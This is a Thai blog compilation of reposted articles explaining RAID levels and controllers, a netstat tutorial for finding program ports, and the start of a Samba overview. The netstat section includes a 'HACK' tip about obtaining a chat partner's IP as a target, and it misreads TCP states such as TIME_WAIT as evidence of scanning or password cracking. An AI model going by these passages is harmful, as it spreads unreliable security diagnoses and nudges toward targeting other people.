ถ้าประมาณว่าเฉลี่ย 15 วินาที มี I/O 15 หน 1 หน/วินาที ถ้ามีเครื่องแค่ 1,000 เครื่อง ที่เข้าจัดการ database อันนั้น ลองจินตนาการว่าอะไรจะเกิดขึ้น เพราะจากตัวอย่างนั้นแค่ 1 database, 1 job (ที่ซ้ำซาก เหมือนกัน) เท่านั้น และยังไม่นับ overhead ที่เกิดจากการ verify parity ของตัว RAID controller เองด้วย cache จะมีความสำคัญตรงนี้ คือ ถ้าสามารถ hold ข้อมูลไว้ได้ ทำ block I/O ได้, queuing I/O ดีๆ ให้อ่านเขียนโดยมี HDD head movement น้อยที่สุด เปิดยาวทีเดียวเพื่ออ่าน/เขียนจาก track 1 -> last track แบบ one-way โดยไม่ต้องกระโดดไปๆ กลับๆ ประสิทธิภาพจะสูงอีกมาก

จะเห็นได้ว่า data transfer rate แทบไม่มีบทบาทเลย SCSI/2 สามารถส่งผ่านข้อมูลได้ 40 MB/sec แต่ฐานข้อมูลส่วนใหญ่ จะอ่านเขียน data ขนาด ไม่เกิน 2k กันแทบทั้งนั้น (ข้อมูล 1 record ไหน ขนาดที่ใหญ่ๆ จะไม่เกิน 2 กิโลไบต์ ถ้าไม่ใช่ image) พันเครื่องอ่าน-เขียนพร้อมๆกัน data stream ก็แค่ 2-3 MB เท่านั้นการวัดประสิทธิภาพ I/O วัดว่ารองรับได้กี่ I/O per sec โดย RAID Controller ที่ดีนั้น ได้ถึง 6,000 I/O per sec และปัจจุบัน RAID Controller รุ่นประสิทธิภาพสูง ทำได้ถึง 10 KBPSec แต่มีราคาแพงมากกรณีที่ ค่า I/O ต่ำ ความเร็วในการทำงานของ RAID จะแปรผันตาม cache

สำหรับ Parity ของข้อมูลนั้น ไม่ได้ถูกระบุสำหรับ RAID ทุกระดับ แต่จะมีเฉพาะบางระดับเท่านั้น Parity จะช่วยในเรื่องของการ "เผื่อเสีย" คือ ถ้าหากข้อมูลในดิสก์เสียหาย หรือเกิดทำลาย จะใช้ Parity ช่วยให้กู้ข้อมูลกลับมาได้

การสร้าง parity อาศัยความสามารถของโปรเซสเซอร์ ซึ่งจะเป็น โปรเซสเซอร์บน RAID Controller หรือโปรเซสเซอร์บนเซิร์ฟเวอร์ก็ตาม การทำงานของโปรเซสเซอร์ดังกล่าวจะได้ค่า ยิ่งถ้า parity นั้นเป็น CRC ยิ่งต้องการ CPU power มากขึ้น โดยการคำนวณกัน byte per byte ไม่ได้เอามาทั้ง file แล้ว generate 4 bytes และกรณีที่เป็น RAID-5 ยังต้องคอยหมุนให้ parity bit กระจายไปอยู่ตาม HDD ลูกต่างๆ ในอะเรย์อีก

ถ้าหากต้องการทราบว่า RAID-5 ใช้พลังงานงานจาก CPU มากขนาดไหน ลองหา HDD SCSI มาสามตัว ลง Windows NT แล้วทำ software RAID ดูสิครับ

ก่อนที่เราจะไปรู้จัก RAID แบบต่างๆ เรามารู้จักคำว่า Data Striping กันก่อนครับ

Data Striping คือการแบ่งข้อมูลออกเป็นส่วนๆ แล้วนำแต่ละส่วนไปเก็บใน harddisk แต่ละตัว การทำ striping นี้จะช่วยให้การอ่าน หรือเขียนข้อมูลใน disk array มีประสิทธิภาพมากขึ้น เพราะแต่ละไฟล์จะถูกแบ่งเป็นส่วนๆ กระจายไปเก็บในส่วนที่ต่างกันของ harddisk หลายตัว โดย harddisk เหล่านั้นทำงานไปด้วยกันแบบขนาน (parallel) จึงทำให้การเข้าถึงข้อมูลนั้นเร็วกว่า harddisk แบบตัวเดียวอย่างแน่นอนและนี่คือ RAID แบบต่างๆ ที่มีความสามารถต่างกัน และถูกเอามาใช้ในงานที่แตกต่างกัน แล้วแต่ผู้ใช้ครับ

RAID 0

คือการเอา harddisk มากกว่า 1 ตัวมาต่อร่วมกันในลักษณะ non-redundant ซึ่ง RAID 0 นี้มีจุดประสงค์ เพื่อที่จะเพิ่มความเร็วในการอ่าน/เขียนข้อมูล harddisk โดยตรง ไม่มีการเก็บข้อมูลสำรอง ดังนั้นถ้าฮาร์ดดิสก์ตัวใดตัวหนึ่งเกิดเสียหาย ก็จะส่งผลให้ข้อมูลทั้งหมดไม่สามารถใช้งานได้ทันที จากรูป จะเห็นว่าข้อมูลจะถูกแบ่งไปเก็บที่ harddisk ทั้ง 3 ตัว (กรณีที่เราใช้ harddisk 3 ตัวมาต่อ RAID 0 กัน) และถ้าเพิ่มจำนวน harddisk ใน array ให้มากขึ้น เวลาที่ใช้อ่านหรือเขียนข้อมูลก็จะลดลงไปตามสัดส่วน ตามทฤษฎีแล้ว ถ้า disk array มี harddisk จำนวน N ตัว ก็จะทำให้อ่านหรือแขียนข้อมูลได้เร็วขึ้นเป็น N เท่าตัว แต่ด้วยเหตุผลและปัจจัยหลายประการ เช่น RAID controller, ความคลาดเคลื่อนของความเร็ว harddisk ทำให้ในความเป็นจริงอาจเร็วไม่ถึงตามทฤษฎี

RAID 1

RAID 1 มีอีกชื่อหนึ่งว่า disk mirroring จะประกอบไปด้วย harddisk 2 ตัวที่เก็บข้อมูลเหมือนกันทุกประการ เสมือนการสำรองข้อมูล หาก harddisk ตัวใดตัวหนึ่งเกิดเสียหาย ระบบก็ยังสามารถดึงข้อมูลจาก harddisk อีกตัวหนึ่งมาใช้งานได้ตามปกติ สำหรับ RAID controller ที่ถูกออกแบบมาเป็นอย่างดีแล้ว การเขียนข้อมูลลง harddisk 2 ตัวในเวลาเดียวกัน จะใช้เวลาพอๆ กับการเขียนข้อมูลลง harddisk ตัวเดียว ในขณะที่เวลาในการอ่านก็จะน้อยลง เพราะ RAID controller จะเลือกอ่านข้อมูลจาก harddisk ตัวไหนก็ได้ โดยหากมีคำสั่งให้อ่านข้อมูล 2 ชุดในเวลาเดียวกัน ตัว RAID controller ก็สามารถประมวลผลคำสั่งเพื่ออ่านข้อมูลจาก harddisk ตัวหนึ่ง และคำสั่งอีกชุดนึงจาก harddisk อีกตัวนึงก็ได้
จุดเด่นของ RAID 1 คือความปลอดภัยของข้อมูล ไม่เน้นเรื่องประสิทธิภาพและความเร็วเหมือนอย่าง RAID 0 แม้ว่าประสิทธิภาพในการอ่านข้อมูลของ RAID 1 จะสูงขึ้นก็ตาม

RAID 3

RAID 3 มีลักษณะที่คล้ายกับ RAID 2 แต่แทนที่จะตัดแบ่งข้อมูลในระดับ bit เหมือน RAID 2 ก็จะตัดเก็บข้อมูลในระดับ byte แทนและการตรวจสอบและแก้ไขข้อผิดพลาดของข้อมูล จะใช้ parity แทนที่จะเป็น ECC ทำให้ RAID 3 มีความสามารถในการอ่านและเขียนข้อมูลได้อย่างรวดเร็ว เพราะมีการต่อ harddisk แต่ละตัวแบบ stripe และใช้ harddisk ที่เก็บ parity เพียงแค่ตัวเดียวเท่านั้น แต่ถ้านำ RAID 3 ไปใช้ในงานที่มีการส่งผ่านข้อมูลในจำนวนที่น้อยๆ ซึ่ง RAID 3 ต้องกระจายข้อมูลไปทั่วทั้ง harddisk จะทำให้เกิดปัญหาที่เรียกว่า คอขวด ขึ้นกับ harddisk ที่เก็บ parity เพราะไม่ว่าข้อมูลจะมีขนาดใหญ่ขนาดไหน RAID 3 ต้องเสียเวลาไปสร้างส่วน parity ทั้งสิ้น ยิ่งข้อมูลมีขนาดเล็กๆ แต่ parity ต้องสร้างขึ้นตลอด ทำให้ข้อมูลถูกจัดเก็บเสร็จก่อนการสร้าง parity ทั้งระบบต้องมารอให้สร้าง parity เสร็จก่อน จึงจะทำงานต่อไปได้นั่นเอง RAID 3 เหมาะสำหรับใช้ในงานที่มีการส่งข้อมูลจำนวนมากๆ เช่นงานตัดต่อ Video เป็นต้น

RAID 5

มีการตัดแบ่งข้อมูลในระดับ block เช่นเดียวกับ RAID 4 แต่จะไม่ทำการแยก harddisk ตัวใดตัวหนึ่งเพื่อเก็บ parity ในการเก็บ parity ของ RAID 5 นั้น จะกระจาย parity ไปยัง harddisk ทุกตัว โดยปะปนไปกับข้อมูลปกติ จึงช่วยลดปัญหาคอขวด ซึ่งเป็นปัญหาที่สำคัญใน RAID 3 และ RAID 4 คุสมบัติอีกอันหนึ่งที่น่าสนใจของ RAID 5 คือ เทคโนโลยี Hot Swap คือเราสามารถทำการเปลี่ยน harddisk ในกรณีที่เกิดปัญหาได้ในขณะที่ระบบยังทำงานอยู่ เหมาะสำหรับงาน Server ต่างๆ ที่ต้องทำงานต่อเนื่อง

RAID 6

RAID 6 อาศัยพื้นฐานการทำงานของ RAID 5 เกือบทุกประการ แต่มีการเพิ่ม parity block เข้าไปอีก 1 ชุด เพื่อยอมให้เราทำการ Hot Swap ได้พร้อมกัน 2 ตัว (RAID 5 ทำการ Hot Swap ได้ทีละ 1 ตัวเท่านั้น หาก harddisk มีปัญหาพร้อมกัน 2 ตัว จะทำให้เสียทั้งระบบ) เรียกว่าเป็นการเพิ่ม Fault Tolerance ให้กับระบบ โดย RAID 6 เหมาะกับงานที่ต้องการความปลอดภัยและเสถียรภาพของข้อมูลที่สูงมากๆ

RAID 0+1

เป็นการผสมผสานระหว่าง RAID 1 และ RAID 0 เข้าด้วยกัน โดยใช้ Harddisk 4 ตัวขึ้นไปครับ และมีการทำ mirror ข้อมูล (backup ข้อมูล) ไปด้วย ข้อเสียของ 0+1 คือการเพิ่มจำนวน harddisk ในอนาคตเป็นไปได้ยาก เพราะ harddisk แต่ละตัวมี mirror เป็นของตัวเอง ยิ่งเพิ่ม harddisk เพื่อใช้งานก็ต้องเพิ่ม harddisk เพื่อ backup ไปด้วย ตามรูปครับ

RAID 10 (1+0)

RAID 10 หรือ RAID 1+0 เป็นการผสมผสานระหว่าง RAID 1 และ RAID 0 เข้าด้วยกัน การทำงานจะสกับกันทีละตัว พร้อมทั้งทำ Mirror ทำให้การเข้าถึงข้อมูลเป็นไปได้อย่างรวดเร็ว เหมาะสำหรับ Server ที่ต้องการความเร็วในการเข้าถึงข้อมูลค่อนข้างมาก และมีประสิทธิภาพสูงครับ

ส่วนประกอบของ RAID

RAID Controller

ตัว ควบคุมระบบ RAID นั้นใช้ได้ทั้งซอฟต์แวร์และฮาร์ดแวร์ หรือใช้รวมกันก็ได้ ซอฟต์แวร์เช่น Windows NT 4.0 สนับสนุน RAID ระดับ 0 ,1 (Striping , Mirroring) และฮาร์ดแวร์จากผู้ผลิตรายต่างๆ ซึ่งมีอยู่มากหลากหลาย เช่น Asustek , Adaptec , DCT ,MTI ซึ่งฮาร์ดแวร์เหล่านั้นมีราคาอยู่ในระหว่างสองหมื่นถึงเป็นล้านบาท

กรณี ใช้ซอฟต์แวร์เป็น RAID Controller จะมีข้อจำกัดคือ ระดับที่สนับสนุน คือ 0, 1 (Striping , Mirroring) นั้นยังไม่ครอบคลุมระดับ Data Protection ในเรื่องของพาริตี้ ซึ่งมีใน RAID ระดับ 3,5 และใช้กำลังจากโปรเซสเซอร์ ทำให้โปรเซสเซอร์มีเวลาจะไปประมวลผลงานอื่นๆ น้อยลง การใช้ซอฟต์แวร์ควบคุม มีข้อดีคือ ราคาถูกกว่า ไม่ต้องการอุปกรณ์เพิ่มเติมมากนัก

ส่วน ฮาร์ดแวร์ โดยมากจะได้รับการออกแบบที่ดี แต่ฮาร์ดแวร์ก็มีข้อแตกต่างระหว่างยี่ห้อต่างๆ คือ ประสิทธิภาพในการทำงานแตกต่างกันออกไป การติดตั้งยากกว่าซอฟต์แวร์ควบคุม และราคาการลงทุนค่อนข้างสูงกว่า เพราะต้องการอุปกรณ์เพิ่มเติม ไม่ว่าจะเป็นฮาร์ดดิสก์ เคสสำหรับฮาร์ดดิสก์ โดยเฉพาะระบบ "Hot Swap" แต่ผลของการลงทุนก็คุ้มค่า (เกี่ยวกับ Hardware RAID Controller ดูข้อมูลเพิ่มเติมได้จาก รู้จักกับ Raid Controller)

ฮาร์ดดิสก์ที่นำมาต่อเป็น Array (Physical Drive)
คือฮาร์ดดิสก์ที่นำมาต่อเข้าเพื่อใช้กับระบบที่จะใช้ RAID จำนวนของฮาร์ดดิสก์นั้น ขึ้นอยู่กับระดับของ RAID ที่เลือกใช้งาน

ดรฟ์อะไหล่ (Spare Drive)
เป็น ฮาร์ดดิสก์ที่นำมาติดตั้งไว้เป็น "อะไหล่" เผื่อว่าฮาร์ดดิสก์ตัวอื่นๆ ที่ใช้ในระบบ RAID เกิดชำรุดเสียหาย โดยปกติเมื่อไดรฟ์ตัวใดตัวหนึ่งในระบบเกิดเสียหาย ไดรฟ์ที่เป็น "อะไหล่" จะถูกสลับเข้าไปใช้งานแทนที่โดยอัตโนมัติทันที

ไดรฟ์ชำรุด (Failed Drive)
ฮาร์ดดิสก์ ที่ชำรุดเสียหาย เช่นมี Bad Sector หรือตัวระบบกลไกการทำงานเสียหาย หรือไม่ตอบสนองต่อการทำงานของ Host SCSI ไดรฟ์พวกนี้ถือเป็น "ไดรฟ์ชำรุด" จะต้องเอาออกและเปลี่ยนไดรฟ์ดีเข้าไปใหม่

ไดรฟ์ตรรกะ (Logical Drive)
เหมือน กับระบบดอสธรรมดา คือ ไม่ใช่ไดรฟ์จริง เป็นเพียงไดรฟ์สมมุติ แต่ใน RAID ไดรฟ์ตรรกะนั้น เกิดจากการรวมเอาไดรฟ์อื่นๆ มารวมกัน ให้เกิดความจุสูงขึ้น

Logical Volume
ไม่อยากแปลเป็นไทย เอาเป็นแบบเดิม คงความหมายดีกว่า เมื่อต้องการ "ก้อน" ของฮาร์ดดิสก์ที่มีความจุมากขึ้น ทำได้โดยการนำเอา "Logical Drive" มารวมเข้าด้วยกันเป็น Logical Volume นั้นเอง

การจัดการ RAID
เมื่อ กล่าวถึงการจัดการ RAID ก็เสมือนว่าเรากำลังคุยกันเกี่ยวกับเทคโนโลยี "การจัดเก็บข้อมูล" หรือ Storage Technology ซึ่งมีสองส่วนด้วยกันคือ การเลือกระดับของ RAID ที่เหมาะสมกับการใช้งาน และการจัดการกับไดรฟ์ที่เสียหาย

การเลือกระดับ RAID ที่เหมาะสม
RAID แต่ละระดับมีความเหมาะสมเกี่ยวกับการใช้งาน และความต้องการฮาร์ดแวร์ ซอฟต์แวร์ ฮาร์ดดิสก์แตกต่างกัน ดูอ้างอิงได้จากระดับของ RAID ซึ่งกล่าวไว้คร่าวๆ เกี่ยวกับระดับของ RAID และการใช้งาน

การจัดการไดรฟ์เสีย

การ จัดการกับไดรฟ์เสีย ไม่ได้หมายถึงว่า ฮาร์ดดิสก์เสียแล้ว ถึงค่อยคิดว่า จะจัดการอย่างไร แต่หมายถึง จะทำอย่างไรกับ "ระบบเผื่อเสีย" หาฮาร์ดดิสก์มา Standby หรือเปิดไว้รอ เหมือนเตรียมยางรถยนต์อะไหล่ติดไว้ที่ท้ายรถ? อะไหล่หรือ Spare นี่เป็นของ "เผื่อเสีย" แน่นอน คิดอยากมีระบบ "เผื่อเสีย" ก็ต้องลงทุนบ้าง สำหรับ RAID ก็เช่นเดียวกัน ต้องลงทุนซื้อไดรฟ์มาไว้ เรียกว่าเป็น Spare Drive ซึ่งมีทั้ง Global Spare Drive และ Local Spare Drive เป็นสองกลุ่ม ความแตกต่างคือ Local Spare Drive จะเป็นอะไหล่สำหรับ Local Drive เพียงตัวเดียว (แยกให้ออกนะครับ Local Drive ตัวเดียวหมายถึง 1 "ก้อน" หรือ 1 Volume ซึ่งจะรวมได้หลายๆ Physical Drive เพราะ Local Drive ในระบบเครือข่าย แตกต่างจาก Local Drive ของพวกเครื่องพีซี) แต่ Global Spare Drive นั้นเป็นอะไหล่สำรองสำหรับ Local Drive 2 ก้อนขึ้นไป

การระบุว่า ไดรฟ์ไหนเสีย และการวิเคราะห์อาการเสีย เป็นเทคนิคการออกแบบ RAID Controller ที่ผู้ผลิตรายต่างๆ ต่างก็แข่งขันกันพัฒนา เพราะโดยคุณสมบัติการออกแบบฮาร์ดดิสก์แบบ SCSI แล้ว เป็นไปได้ยากที่ RAID Controller จะตรวจสอบว่าไดรฟ์ไหนเสีย แต่ระบบการตรวจสอบที่เกิดจากการพัฒนาร่วมกันของผู้ผลิต RAID และผู้ผลิตฮาร์ดดิสก์ ที่มีชื่อเทคโนโลยีว่า SAF-TE ก็ทำให้การวิเคราะห์ และวินิจฉัยอาการเสียของฮาร์ดดิสก์เป็นไปได้ง่ายขึ้น

การจัด การกับไดรฟ์เสีย ยังมีระบบสนับสนุนหรืออำนวยความสะดวก ซึ่งทำงานสอดคล้องกับระบบ RAID Controller อีกส่วนหนึ่งคือ Hot Plug Drive, Hot Swap Drive Bay ซึ่งหมายถึงการเปลี่ยนฮาร์ดดิสก์โดยอไม่ต้องปิดสวิตช์คอมพิวเตอร์ก่อน และเมื่อเปลี่ยนแล้วนอกจากสามารถใช้งานได้ทันทีแล้ว หากใช้ระบบ RAID ก็สามารถ "Rebuild" คือ สร้างระบบ RAID ในฮาร์ดดิสก์ก้อนใหม่ได้ทันที

การเพิ่มขนาดของ Logical Volume

ขนาด ของ Logical Drive นั้น ขึ้นกับความจุและจำนวนของฮาร์ดดิสก์ที่นำมาเพิ่มในระบบ RAID โดยปกติระบบ RAID จะระบุไว้ว่า กรณีใช้ฮาร์ดแวร์ในการควบคุม ฮาร์ดดิสก์ทั้งหมดที่นำมาเพิ่มในระบบจะต้องมีความจุเท่ากัน การเพิ่มขนาดของ Logical Drive ทำได้โดยการเพิ่มฮาร์ดดิสก์ SCSI เข้าไปในระบบ

ถ้า เป็นระบบ RAID เก่าๆ การเพิ่มขนาดของ Logical Drive ทำได้โดยการสำรองข้อมูลทั้งหมด หลังจากนั้นปิดระบบ (ปิดเฉพาะระบบที่ใช้ RAID) ติดตั้งฮาร์ดดิสก์เพิ่มเติมเข้าไปในระบบ และ Config RAID หรือการสร้าง RAID ขึ้นใหม่ วิธีการนี้มีข้อด้อยคือ ใช้เวลาในการดำเนินใหม่ และต้องการผู้เชี่ยวชาญ เพราะในระบบเครือข่าย ถ้าหากต้องมีการ "ติดตั้งระบบใหม่" นั้นหมายถึง การ Config ระบบใหม่ทั้งหมด

แต่ ระบบคอมพิวเตอร์ที่ใช้ RAID ใหม่ๆ นั้น ใช้หลักการของ Dynamic System Expansion การขยายขนาดของระบบโดยวิธีการง่ายกว่าเดิม โดยวิธีนี้ต้องใช้กับระบบ RAID ที่เป็น RAID Hardware Controller เท่านั้น โดยเมื่อเพิ่มฮาร์ดดิสก์เข้าไปในระบบ (จะเป็น Hot Plug หรือ Non Hot-Plug) ก็ได้ หลังจากนั้นใช้ฟังก์ชันในการตรวจจับ (SCSI Harddisk SCAN) เพื่อตรวจสอบว่ามีฮาร์ดดิสก์ใหม่ถูกติดตั้งเข้าไปในอะเรย์ หลังจากนั้นก็ใช้ฟังก์ชันในการเพิ่มขนาด Logical Volume โดยการ Assign ฮาร์ดดิสก์ใหม่เข้ากับระบบอะเรย์ เพียงไม่กี่นาทีก็เพิ่มขนาดของ Logical Volume ได้

การจัดการและตรวจสอบโดย RAID Controller

ฮาร์ดแวร์ RAID Controller ที่ผลิตโดยผู้ผลิตหลายๆ รายๆ มีกลวิธีในการตรวจสอบระบบ DISK Array โดยเริ่มจากการตรวจสอบตัวคอนโทรลเลอร์เอง ไปจนถึงการตรวจสอบฮาร์ดดิสก์ที่เป็นสมาชิกอะเรย์ ได้แก่การตรวจสอบ disk / PSU / Power / Over-Temp แล้วแสดงค่าความผิดพลาด พร้อมทั้งแจ้งเตือนกรณีที่ความผิดพลาดนั้น ถือเป็นความผิดพลาดระดับวิกฤติ

ขอขอบคุณบทความจาก http://www.msit.mut.ac.th

netstat

2011-04-18T02:31:00.001-07:00

วิธีหา port โปรแกรมต่างๆ ด้วย Netstat

ถามกันบ่อยมากเกี่ยวกับ port นั้น คืออะไร port นี้คืออะไร อยากจะ block โปรแกรมนั้น block ไง mms เว็บนั้น port ไหน ขออธิบายรวบยอดไปใน FAQ อันนี้เลยแล้วกันนะครับ

ระบบที่ใช้ในประกอบการทำFAQ นี้

Win Xp ที่เป็นเครื่องลูกข่าย Linux SIS

Linux SIS เปิด share net อย่างเดียว (ฉะนั้น ระบบจะยังคง block ทุกอย่าง เปิดแต่เว็บให้ใช้งานได้)

สถานการณ์

ถ้าอยากรู้ว่า port ของ streaming ของ mcot.net

จากการใช้คำสั่งจาก DOS Prompt ในรูปข้างบน เป็นการเรียกดูวิธีการใช้ของโปรแกรม netstat โดยการใส่เครื่องหมาย /? ต่อท้ายคำสั่งนั้น สามารถใช้ได้กับโปรแกรมอย่างอื่นในดอสได้ด้วย) เพื่อขอดูการใช้งาน ผมจะอธิบายที่ละบรรทัดอย่างคร่าวๆ

และการใช้คำสั่งนี้ ไม่ว่าจะเป็น Opiton หรือใดๆก็ตาม จะไม่เป็นอันตรายต่อเครื่อง รวมทั้งระบบ Network ซึ่งในการใช้ สามารถใช้ได้ในขณะที่ต่อ Internet หรือไม่ก็ตาม

-a Displays all connections and listening ports.

Opiton นี้จะเป็นการดูการเชื่อมต่อ Port ทั้งหมดที่ (เครื่องนั้นๆ=เครื่องคุณ) ที่ใช้คำสั่งนี้ได้เปิดรอการเข้ามาติดต่อ แต่ผลที่แสดงจะเป็นรายชื่อ Service ที่ติดต่อกับเครื่อง (เครื่องนั้นๆ=เครื่องคุณ) เช่นชื่อเว็บไซด์หรือชื่อเครื่อง ไม่แสดงเป็นตัวเลข IP

-e Displays Ethernet statistics. This may be combined with the -s option.

Opiton นี้จะเป็นการดูเหมือนกับสถิติต่างๆในการรับ/ส่งข้อมูลต่างๆ ต้องใช้ร่วมกับ Opiton -s เป็นการดูสถานะการรับส่งข้อมูลต่างๆ ซึ่งลองใช้ดูได้

-n Displays addresses and port numbers in numerical form.

Opiton นี้จะเหมือนกับ -a แต่การแสดงผลจะเป็นเลข IP กับ Port แทนชื่อเครื่องหรือชื่อเว็บไซด์ต่างๆที่ได้มีการติดต่อหรือเชื่อมการติดต่อ

ขั้นตอน

1. คลิ๊ก Start Menu (มุมซ้ายล่างหน้าจอครับ)
2. เลือกคำสั่ง Run... (มุมขวาใกล้ๆ Turn Off Computer)
3. พิมพ์ cmd ลงไปจากนั้นกด Enter
4. พิมพ์คำสั่ง netstat -an

ผลที่ได้ จะออกมา ดังรูป

เนื่องจาก เครื่องที่ใช้ ทดสอบ เป็นเครื่อง ที่อยู่หลัง Linux SIS ซึ่ง โดย default sis จะ block ทุกอย่าง

ตรง เลข 1 คือโปรแกรม Office Scan ซึ่งมันจะ เปิด port 9100 เพื่อ connect ไปที่ server officescan

ตรง เลข 2 คือ IP:PORT ของ server ของ office scan คำย่อ SYN_SENT หมายความว่า ข้อมูลไดๆก็ตามที่ ส่งออก ณ จุดนี้ ถูก block อยู่ไม่สามารถส่งออกได้

จากนั้น ทำการเปิดเว็บ http://www.mcot.net แล้วสั่ง netstat -an อีกรอบเพื่อ check การต่อเชื่อในเครื่องอีกรอบ

IP ที่อยู่ในกลุ่มหมายเลข 2 คือ IP ที่เครื่องนั้นต่อเชื่อหลังจาก เปิด http://www.mcot.net จากนั้นทำการ click เปิดหน้าต่าง ของ Live News เพื่อให้เครื่องเชื่อมต่อ mms สลับหน้าต่างไปที่หน้าต่าง cmd แล้วพิมพ์คำสั่ง netstat -an อีกรอบเพื่อ check connection

จากรูป server MMS ของ mcot ก็คือ 202.142.200.131 โดย connect ไปที่ port 1755 ซึ่งใน ภาพ จะไม่สามารถเปิดได้เพราะ SIS ยัง block connection นั้นอยู่ (SYN_SENT)

จากตรงนี้ สามารถนำไปประยุกหา port ของโปรแกรมอื่นๆได้ โดย ทำตามวิธีด้านบน

เพิ่มเติม

1. Proto TCP -- คือโปรโตคอลที่เครื่องกำลังเชื่อมต่ออยู่

2. Local Address qillip:telnet -- [ชื่อ เครื่อง qillip] : [telnet Service (port ที่เครื่องได้เปิด)] ซึ่งตอนนี้เป็นหรือบริการที่เปิด และเราจะรู้ได้ตรงนี้เอง เช่นพวกโทรจัน Trojan หรือโปรแกรมบางโปรแกรมมักจะเปิด Service หรือบริการที่เปิดรอ เพื่อจะเข้ามาควบคุมเครื่องหรือมีการแชร์เครื่อง เพื่อใช้ในการถ่ายโอนข้อมูลระหว่างเครื่องในระบบ Network

3. Foreign Address qillip:0 -- ชื่อเครื่อง [qillip] : [เครื่องที่เชื่อมต่อกับเครื่องที่คุณได้ใช้อยู่] ที่เป็นเลข 0 เพราะว่าผมยังไม่ได้ต่อเน็ต

4. State LISTENING -- สถานะการติดต่อ ซึ่งจะมีอยู่หลายแบบคือ ตรงนี้ขอข้ามไปก่อนครับว่าหมายถึงอะไร

สีเหลือง เป็นสถานะ ESTABLISHED
Local Address ซึ่ง IP ผมคือ 203.118.74.149 ได้เปิด port 135 เอาไว้และเข้ามาที่เครื่องทาง port นี้
Foreign Address เป็น IP ของเครื่องที่มา hack เครื่องผมคือ 203.118.82.158
State เป็นสถานะ ESTABLISHED หมายความว่า เป็นการเชื่อมต่อระหว่างเครื่อง 2 เครื่องได้แล้ว พูดอีกแบบคือ มีเครื่องอื่นได้เข้ามาในเครื่องผมแล้ว

สีฟ้า เป็นสถานะ LISTENING
Local Address ซึ่ง IP ผมคือ 203.118.74.149 ได้เปิด port 139
Foreign Address ยังไม่มีเครื่องใดมาทำการติดต่อ
State เป็นสถานะ LISTENING คือรอการติดต่อ ซึ่งเครื่องอื่นสามารถเข้าได้ทางนี้

สีม่วง เป็นสถานะ TIME_WAIT
Local Address ซึ่ง IP ผมคือ 203.118.74.149 ได้เปิด port 139
Foreign Address เครื่องที่มี IP 203.118.74.110 ได้กำลังแสกนเครื่องผมอยู่ เพื่อหาช่องโหว่
State เป็นสถานะ TIME_WAIT คือเค้ากำลังแสกนเครื่องผมโดยผ่าน port 139 กำลังแสกน หรืออีกความหมายคือ เครื่องนั้นอาจกำลังถอด password เครื่องคุณอยู่ก็ได้

SYN_SENT หมายความว่า ข้อมูลไดๆก็ตามที่ ส่งออก ณ จุดนี้ ถูก block อยู่ไม่สามารถส่งออกได้

** ให้สังเกตเครื่องคุณ ถ้าได้มีตัวนี้อยู่บรรทัดไหน ให้สังเกตที่บรรทัดเดียวกันว่า เครื่องคุณได้เปิด Port ไหนเอาไว้บ้าง **

TIP : ซึ่งตอนนี้คุณคงอ่าน และคงสามารถที่จะเดาได้ว่าแต่ละบรรทัดที่โปรแกรมแสดงหมายความว่าอะไรบ้าง แต่ถ้าใช้ Option ดังรูปข้างบน (ต่อ Internet) ให้พิมพ์คำสั่ง netstat -a เพื่อจะแสดงเป็นชื่อ ซึ่งบางทีในสถานะ ESTABLISHED หมายความว่า มีเครื่องอื่นได้เข้ามาในเครื่องผมแล้วนั้น อาจเป็นเว็บไซด์ที่คุณกำลังดาว์นโหลดอยู่ก็ได้ คำสั่ง netstat -a จะแสดงเป็นชื่อเว็บต่างๆ ซึ่งถ้าใช้คำสั่ง netstat -an จะแสดงเป็นตัวเลข IP ยากต่อการเดา และการดูจริงๆคุณต้องสังเกตที่ port ที่เครื่องคุณด้วยว่าเป็น port ที่ใช้ทำอะไร

HACK : ถ้าคุณกำลัง chat อยู่ ไม่ว่าจะเป็น icq , msn , yahoo ect.. ก็ตาม และได้มีการรับ/ส่งไฟล์ระหว่างเครื่องเกิดขึ้น ให้พิมพ์คำสั่ง netstat -an หรือ netstat -a หรือ netstat -n ก็ได้ โปรแกรมนี้จะมีการแสดงเลข IP ต่างๆที่คุณได้ติดต่ออยู่ และคุณรู้ IP เครื่องเป้าหมายแล้ว อิอิ ถ้ามีความรู้ในเรื่องอื่น ก็นำมาใช้ได้เลย

นี่คือการทำงานโดยใช้ดอสแบบทั่วไป ให้คุณลองดูว่าเครื่องคุณได้เปิด Port อะไรไว้บ้าง ถ้ามีการเปิดที่เยอะมาก คุณต้องรู้ว่าแต่ละ Port ไหนโปรแกรมอะไรเป็นตัวเปิด โดยทำการค้นหาได้จากโปรแกรมที่คุณใช้ได้ถนัด ซึ่งแล้วแต่คนจะถนัดทางไหน และหัวข้อต่อไป ผมจะอธิบายการใช้โปรแกรมอีกตัว ซึ่งใช้ได้ดีมากสำหรับการหาโปรแกรมตัวแสบ ที่แอบมาเปิด port และยังสามารถใช้งานได้อีกหลายอย่าง แทนโปรแกรม NETSTAT ได้ดีอีกด้วย แถมยังมีโปรแกรมให้ HACK เครื่องแถมมาด้วย

Credit www.opentle.org & www.justusers.net

SAMBA

2011-04-18T02:30:00.001-07:00

Samba Security

Samba เป็นซอฟต์แวร์ที่ช่วยให้สามารถแชร์ไฟล์และเครื่องพิมพ์บนลินุกซ์ให้กับระบบ ปฏิบัติการวินโดวส์ 95, 98, 2000, NT รวมทั้ง smbclient อื่น เช่น linux, unix อื่นๆ ได้ การทำงานของ Samba ประกอบไปด้วยส่วนประกอบหลักๆ ดังนี้

smbd เป็น daemon ที่ช่วยในการแชร์ไฟล์และเครื่องพิมพ์ให้กับ smbclient ต่างๆ โดยมีไฟล์ configuration ที่สำคัญคือ /etc/samba/smb.conf ซึ่งทำหน้าที่ควบคุมการทำงานของ Smbd
nmbd รับผิดชอบกระบวนการที่เกี่ยวข้องกับ name resolution และ browsing service ซึ่งเกี่ยวข้องกับ NetBIOS name (รายละเอียดเกี่ยวกับ NetBIOS สามารถอ่านได้ที่ http://thaicert.nectec.or.th/paper/basic/netbios.php)
smbclient เป็นโปรแกรมที่ทำหน้าที่เชื่อมต่อไปยัง Samba server หรือ Microsoft Windows ที่ได้แชร์ไฟล์ไว้ โดยจะมีลักษณะการใช้งานเหมือนกับคำสั่ง ftp ทั่วไป (interactive program)
smbmount ใช้สำหรับ mount ไปยัง shared directory
testparm เป็นโปรแกรมที่ใช้ตรวจสอบ configuration จากไฟล์ /etc/samba/smb.conf ว่าถูกต้องหรือไม่
smbstatus ใช้สำหรับแสดง status ของ Smbd Server

รูปที่ 1 แสดงรูปแบบทั่วไปในการใช้งาน Samba server

